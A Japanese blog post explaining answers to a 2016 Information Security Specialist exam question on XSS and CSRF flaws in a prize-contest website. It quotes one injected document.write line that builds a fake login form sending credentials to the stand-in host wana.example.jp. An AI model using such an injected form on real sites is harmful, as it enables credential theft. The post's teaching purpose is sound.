2016年7月18日月曜日

[平成28年度春] 午後1 問1 解説

[問題文・解答]


平成28年度4月に実施された情報セキュリティスペシャリスト試験の午後1試験の問題・解答はIPA公式ページからダウンロード出来ます。(以下リンク)
[H28春 午後1 問題文]   [H28春 午後1 解答]

[問題概要]


問題の題材は懸賞応募のWebサイトの脆弱性です。
主なキーワードはXSS(クロスサイトスクリプティング)CSRF(クロスサイトリクエストフォージェリ)
開発中のWebサイトの脆弱性検査で、これらの脆弱性が指摘され、その修正を実施すると共に今後の開発時に同様の脆弱性が組み込まれないように再発防止策を検討するという内容です。
3つある設問ではそれぞれ以下の内容が問われます。
設問1:XSS脆弱性と修正方法
設問2:CSRF脆弱性と修正方法
設問3:脆弱性の再発防止策
XSSやCSRFの知識はもちろん、HTMLの知識も多少必要とされる難易度高めの問題だと思います。



[設問1]

XSS(クロスサイトスクリプティング)

Webサイトの入力フォームに悪意のあるスクリプト(JavaScriptやHTML)を入力し、Webサイトへの訪問者のCookie情報や入力された個人情報等を窃取する攻撃方法。
対策としては、スクリプトで使用される「<」「>」「&」のような特殊文字を削除または置換することで、スクリプトではなく、ただの文字列として扱う方法があります。

(1)

図6の4行目にある以下の記述より画面2-2'上で入力されたID・パスワードは「wana.example.jp」に送信されます。
document.write("<form name="loginForm" action="https://wana.example.jp/login" methid="post">');
[答] wana.example.jp

(2)

画面2-2'は画面2-2のパラメタkeywordに悪意あるスクリプトが組み込まれています。従って、表示は本来の画面2-2が消去され、偽の画面となりますが、URLのホスト自体はM社の懸賞サイトとなります。
[答] kensho.m-sha.co.jp

(3)

P.11中段のNさんの会話より、攻撃者のサイトと懸賞サイト間でコンテンツの盗み見が出来ないと言っていることからbに入るのはSame Origin Policyと推測できます。
[答] エ Same Origin Policy

(参考)Same Origin Policy
あるオリジン(http or https, ホスト名, ポート番号)で読み込まれた文章やスクリプトを他のオリジンからアクセス出来ないよう制御する仕組み。

(4)

[答] c) https://kensho.m-sha.co.jp/Gamen2_2  d) keyword

(5)

[答] 懸賞メンバとしてログインしている状態

[設問2]

CSRF(クロスサイトリクエストフォージェリ)

スクリプトの仕組まれた攻撃者のWebサイトにユーザを誘い込み、攻撃対象のWebサイト上でユーザの意図しない操作をさせる方法。具体的にはユーザ情報の変更・登録や商品の購入などの操作を勝手にされてしまう。
対策としては、フォームを表示するプログラム側によって推定困難なランダム値を hiddenフィールドとして埋め込んで送信し、フォームデータを処理する側でそのランダム値がフォームデータ内に含まれていることを確認する方法があります。

(1)

上記対策の説明にある通り、遷移前の画面でランダム値をhiddenフィールドに埋め込み、遷移後の画面で照合するという流れになります。
[答] e: ランダム値   f: hidden

(2)

対策が必要となるのは基本的に画面遷移時にパラメタを受け渡す部分となります。
表1を参考として、(お)(き)(く)(け)(し)(す)は必ず対策が必要です。
従って、選択肢よりウが該当します。
[答] ウ

[設問3]

(1)

攻撃者は、画面2-2のkeywordにスクリプトを埋め込んだ画面2-2ページヘのリンクをメールで被害者に送信し、被害者はそのリンクから直接画面2-2'へアクセスすることになります。そのため、この攻撃ではWebブラウザは画面2-1でのチェックは行いません。
[答] 攻撃者は画面2-1を経由させずに直接画面2-2へアクセスさせるから。

(2)

下線②の記述や[設問3](1)からブラウザ側のチェックだけでは不十分で、Webサーバ側で確認すべきです。
[答] サーバサイド


(3)

[答] URL

平成28年度春のSC午後1試験の他の問題の解説は下記投稿で行っています。

また、オススメ問題について下記投稿に記載しています。

上記の解説は問題と解答を元に自分なりの考え方を記述しており、間違っている部分もあるかと思いますので、ご了承願います。また、誤りについては正しい考え方をご指摘・ご教授頂けると助かります。

0 件のコメント:

コメントを投稿